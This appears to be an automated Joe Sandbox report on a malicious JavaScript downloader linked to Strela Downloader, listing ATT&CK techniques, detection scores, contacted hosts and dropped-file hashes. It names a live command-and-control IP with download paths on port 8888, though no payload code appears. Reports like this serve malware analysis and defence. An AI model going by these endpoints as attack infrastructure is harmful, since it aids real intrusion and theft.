Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1932574451821324222.js	5%	Virustotal		Browse
1932574451821324222.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/temG	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/p	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2738025488.000001D397800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1516874647.000001D397660000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/p	net.exe, 00000007.00000002.1517171370.000001A38B448000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1516583889.000001A38B475000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517171370.000001A38B448000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1515164448.000001A38B49E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1517234068.000001A38B475000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/temG	net.exe, 00000007.00000002.1517171370.000001A38B448000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587931
Start date and time:	2025-01-10 19:32:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1932574451821324222.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 2.16.168.125, 3.233.129.217, 4.245.163.56, 23.203.104.175, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:33:50	API Interceptor	22x Sleep call for process: powershell.exe modified
13:33:54	API Interceptor	1x Sleep call for process: net.exe modified
13:33:54	API Interceptor	2x Sleep call for process: svchost.exe modified
13:34:02	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	301901880157741390.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	405322677135851429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	958713604204492412.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	74771923457277117.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2843421561127533345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853025795686920641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022068297914048
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA4:RJE+Lfki1GjHwU/+vVhWqpV
MD5:	2C036FF2796F12CFBD0755CC87F6646C
SHA1:	20B78927C4DE808B6F961F738DE89A352620D03F
SHA-256:	59CE3CDD16D99514C0F962A14F9BD35FAB782183FE7C6112B6B261A44409BF39
SHA-512:	0355FFDBE20A2B60E145AB3430AD9D735696751044BB72C16F5F7B254CBC1BA79306CC0A5522FA778EB090641F30EBB51E8BBB4AA571C90B619095247FA4E125
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbd48d279, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433316513509026
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:jazaHvxXy2V2UR
MD5:	2EB32C6448F4475AABCE6C2646844342
SHA1:	721E197B340028079A958981AFCB56108DD9F9DF
SHA-256:	D9089EA8A0A4382F2DBD2A242522552AA28D56541543D777B65D0FEF879772F3
SHA-512:	C3D65E30BE13329FAE16B2E4693253EF00969F03E042125D32AD41EC8B71BA94F574A40B89F3E99F4F2CF49CA70FAB4F62511E96A31ED15B6793BE407120DF4D
Malicious:	false
Preview:	.H.y... ...............X\...;...{......................0.x...... ...{s.6!...}[.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................M.a6!...}...................~.6!...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08117301471623062
Encrypted:	false
SSDEEP:	3:LmtlEYekevkYYFcesl/nqlFcl1ZUllllT/JllillGBnX/l/Tj/k7/t:GlEz1uaesl/qlFclQ/l1J/G254
MD5:	B165768040C2B688E83B9121875B20E7
SHA1:	5AFEE2C83BEE8524FAD3CA68B202BD2384DE2DF8
SHA-256:	55662A517A09B32F2E7899DE7FFF9C83158C4B47D03B607DD3AD234898AE749F
SHA-512:	D796CC95C8C99E26FB114AA42F216F2B879DA76392CC5BACAC9660DDDE0439951CE7FA2E35B4B6C6F916A420740EAC90C9F96FFAD3FBC3A3AFF3DD0D8C81EC65
Malicious:	false
Preview:	.........................................;...{..6!...}... ...{s.......... ...{s.. ...{s.P.... ...{s...................~.6!...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.186024593958308
Encrypted:	false
SSDEEP:	6:iO4PtT8IN9+q2PCHhJ2nKuAl9OmbnIFUtSPt4ZmwsPtIVkwOCHhJ2nKuAl9Ombjd:78tT8IN4vBHAahFUtCt4/wtg56HAaSJ
MD5:	96C737D53C993CE5538594E20A28C98E
SHA1:	1A7002B75ABA89F0E821E771CD48EEDB4D8FBCF0
SHA-256:	E76957A761C9F1A91876875C54691AB38F9FC8B0367797F2986AC76F79855D74
SHA-512:	9D2F47CB123D555A599EB83CEB7CD0350C5FEEA1CE0DE55EF372849FB37B8D9A8EEEFB96BC9BCE9305B7C196D94BA57C48706E7FED68B952F515649906780932
Malicious:	false
Preview:	2025/01/10-13:33:54.420 c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:33:54.423 c58 Recovering log #3.2025/01/10-13:33:54.423 c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.186024593958308
Encrypted:	false
SSDEEP:	6:iO4PtT8IN9+q2PCHhJ2nKuAl9OmbnIFUtSPt4ZmwsPtIVkwOCHhJ2nKuAl9Ombjd:78tT8IN4vBHAahFUtCt4/wtg56HAaSJ
MD5:	96C737D53C993CE5538594E20A28C98E
SHA1:	1A7002B75ABA89F0E821E771CD48EEDB4D8FBCF0
SHA-256:	E76957A761C9F1A91876875C54691AB38F9FC8B0367797F2986AC76F79855D74
SHA-512:	9D2F47CB123D555A599EB83CEB7CD0350C5FEEA1CE0DE55EF372849FB37B8D9A8EEEFB96BC9BCE9305B7C196D94BA57C48706E7FED68B952F515649906780932
Malicious:	false
Preview:	2025/01/10-13:33:54.420 c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:33:54.423 c58 Recovering log #3.2025/01/10-13:33:54.423 c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.158340907580059
Encrypted:	false
SSDEEP:	6:iO4Ptrq2PCHhJ2nKuAl9Ombzo2jMGIFUtSPtpZZmwsPtsrkwOCHhJ2nKuAl9OmbX:78trvBHAa8uFUtCtz/wtc56HAa8RJ
MD5:	2D93E206D7DD6A162F87837024CAAAD6
SHA1:	C98AC0ECDBA69ECB105699AFD562F06C8AFDC18C
SHA-256:	4C7E0ECDC93CCE4600A0438FB17E9DCA8E258D5FCEE1F1F442897C01A4B2B128
SHA-512:	E1D2A9887F0F96B9303CF7BC6F68215501598742EDFC9214CA0A9F7C59488396AA7A06342AA56EAE5C048D765E06F6895562BE3E965E2AA4D11017ED118C0D28
Malicious:	false
Preview:	2025/01/10-13:33:54.547 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:33:54.548 1ce0 Recovering log #3.2025/01/10-13:33:54.549 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.158340907580059
Encrypted:	false
SSDEEP:	6:iO4Ptrq2PCHhJ2nKuAl9Ombzo2jMGIFUtSPtpZZmwsPtsrkwOCHhJ2nKuAl9OmbX:78trvBHAa8uFUtCtz/wtc56HAa8RJ
MD5:	2D93E206D7DD6A162F87837024CAAAD6
SHA1:	C98AC0ECDBA69ECB105699AFD562F06C8AFDC18C
SHA-256:	4C7E0ECDC93CCE4600A0438FB17E9DCA8E258D5FCEE1F1F442897C01A4B2B128
SHA-512:	E1D2A9887F0F96B9303CF7BC6F68215501598742EDFC9214CA0A9F7C59488396AA7A06342AA56EAE5C048D765E06F6895562BE3E965E2AA4D11017ED118C0D28
Malicious:	false
Preview:	2025/01/10-13:33:54.547 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:33:54.548 1ce0 Recovering log #3.2025/01/10-13:33:54.549 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\113449e9-a862-4645-baa8-ab8f8699abef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.955505995876837
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvsBdOg2Hvcaq3QYiub6P7E4T3y:Y2sRds9dMHe3QYhbS7nby
MD5:	547F53E27660AE472C2334A5B1AD4B93
SHA1:	5C33DC83DD399F7D9B83E35C66B8A019AB3B2879
SHA-256:	8A01F9FD2EBECE6743F15C7036E20F18D1BBC197FCF7771EDA3512E5B2F39762
SHA-512:	183A78642D6C965C4E87F47D35966BBCCD040CC909AC4D88CE803F00D59ADAC765E4A332CBE69C260CE0851D01DAD030FB6B38B053355957A7D291C85655105B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094046438968","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141663},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.955505995876837
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvsBdOg2Hvcaq3QYiub6P7E4T3y:Y2sRds9dMHe3QYhbS7nby
MD5:	547F53E27660AE472C2334A5B1AD4B93
SHA1:	5C33DC83DD399F7D9B83E35C66B8A019AB3B2879
SHA-256:	8A01F9FD2EBECE6743F15C7036E20F18D1BBC197FCF7771EDA3512E5B2F39762
SHA-512:	183A78642D6C965C4E87F47D35966BBCCD040CC909AC4D88CE803F00D59ADAC765E4A332CBE69C260CE0851D01DAD030FB6B38B053355957A7D291C85655105B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094046438968","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141663},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2306340349994045
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bBJwrhb:S43C4mS7fFi0KFYDjr3LWO3V3aw+bfwB
MD5:	2C3BA10DB20ECC9F4F4D8DAE209E504C
SHA1:	EBCDFBD67BA3A6CE900EFF0F52CB19AF652B4520
SHA-256:	89A34E10163E49A6963ED6C8513580041D1CDA4B6832A31AF0F9EC0F680E1E44
SHA-512:	C5F88500867C917A1A27AFE264EFBDC200FB5151E5A3DFDDC65C4E27022DB1A58F43DFE9338F3FDC9FB5EB2A18112F289C30AC752408074D9EC8A3287A250914
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.166996582415258
Encrypted:	false
SSDEEP:	6:iO4PtDhq2PCHhJ2nKuAl9OmbzNMxIFUtSPtCZZmwsPtAckwOCHhJ2nKuAl9OmbzE:78tVvBHAa8jFUtCtCZ/wtd56HAa84J
MD5:	BDDE2A4B66D1ED034F8B0892DDD4F0A7
SHA1:	86F2AD54D8FE9B07494307CEE215684C016B1CEF
SHA-256:	79135349FFAF7C95EEC5DC05572747DBD1A7C18DCD292A3E309DEDE2CDBCC506
SHA-512:	2864194CECD96728B1CF469F4E42AFCFA36A2D824213E4E61886EC4268E6952BF6A67FECA72466D014EF9D6B5F47500D6FE43E3C700E7A7E8417E9C6C321C5EB
Malicious:	false
Preview:	2025/01/10-13:33:54.699 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:33:54.701 1ce0 Recovering log #3.2025/01/10-13:33:54.702 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.166996582415258
Encrypted:	false
SSDEEP:	6:iO4PtDhq2PCHhJ2nKuAl9OmbzNMxIFUtSPtCZZmwsPtAckwOCHhJ2nKuAl9OmbzE:78tVvBHAa8jFUtCtCZ/wtd56HAa84J
MD5:	BDDE2A4B66D1ED034F8B0892DDD4F0A7
SHA1:	86F2AD54D8FE9B07494307CEE215684C016B1CEF
SHA-256:	79135349FFAF7C95EEC5DC05572747DBD1A7C18DCD292A3E309DEDE2CDBCC506
SHA-512:	2864194CECD96728B1CF469F4E42AFCFA36A2D824213E4E61886EC4268E6952BF6A67FECA72466D014EF9D6B5F47500D6FE43E3C700E7A7E8417E9C6C321C5EB
Malicious:	false
Preview:	2025/01/10-13:33:54.699 1ce0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:33:54.701 1ce0 Recovering log #3.2025/01/10-13:33:54.702 1ce0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
